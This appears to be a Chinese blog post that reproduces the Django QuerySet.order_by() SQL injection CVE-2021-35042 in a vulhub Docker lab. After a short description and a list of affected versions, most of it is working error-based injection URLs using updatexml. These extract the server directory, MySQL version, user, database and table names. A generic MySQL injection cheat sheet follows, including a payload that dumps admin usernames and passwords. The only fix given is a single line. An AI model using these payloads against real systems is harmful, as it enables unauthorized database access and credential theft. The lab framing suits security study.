🍬 博主介绍
👨?🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~ ?主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 🎉点赞?评论?收藏 == 养成习惯(一键三连)😋 🎉欢迎关注💗一起学习👍一起讨论??一起进步📝文末有彩蛋 🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
一、漏洞编号
CVE-2021-35042
二、漏洞描述
Django是一个开放源代码的Web应用框架,由Python写成。采用了MVC的框架模式,即模型M,视图V和控制器C。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的,即是CMS(内容管理系统)软件。
Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击,最终造成服务器敏感信息泄露。
三、影响范围
Django < 3.2.5的Django 3.2版本
Django < 3.1.13的Django 3.1版本
四、环境搭建
1、进入CVE-2021-35042环境
cd vulhub/django/CVE-2021-35042
2、启动CVE-2021-35042环境
docker-compose up -d
3、查看CVE-2021-35042环境
docker-compose ps
4、访问CVE-2021-35042环境
http://192.168.13.131:8000/
5、查看CVE-2021-35042提示信息
cat README.md
6、关闭CVE-2021-35042环境
复现完记得关闭环境
docker-compose down
五、漏洞复现
1、验证注入存在
转到也受攻击页面
http://192.168.13.131:8000/vuln/
添加order=-id参数
http://192.168.13.131:8000/vuln/?order=-id
看到按 id 降序排列的数据证明注入点存在,接下来构造报错注入来进行攻击获取数据信息。
2、获取根目录信息
添加order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@basedir)),1)%23到 GET 参数查看,其中vuln是我们的应用程序和collection模型。
http://192.168.13.131:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@basedir)),1)%23
3、获取数据库MySQL版本
http://192.168.13.131:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@version)),1)%23
4、获取当前用户
http://192.168.13.131:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select user())),1)%23
5、获取当前数据库名
http://192.168.13.131:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,database()),1)%23
6、获取CVE数据库的表信息
http://192.168.13.131:8000/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,((select group_concat(table_name) from information_schema.tables where table_schema= 'cve'))),1)%23
7、mysql注入常用语句
爆数据库版本信息
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户
?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库
?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
六、漏洞修复
及时更新到最新版本
|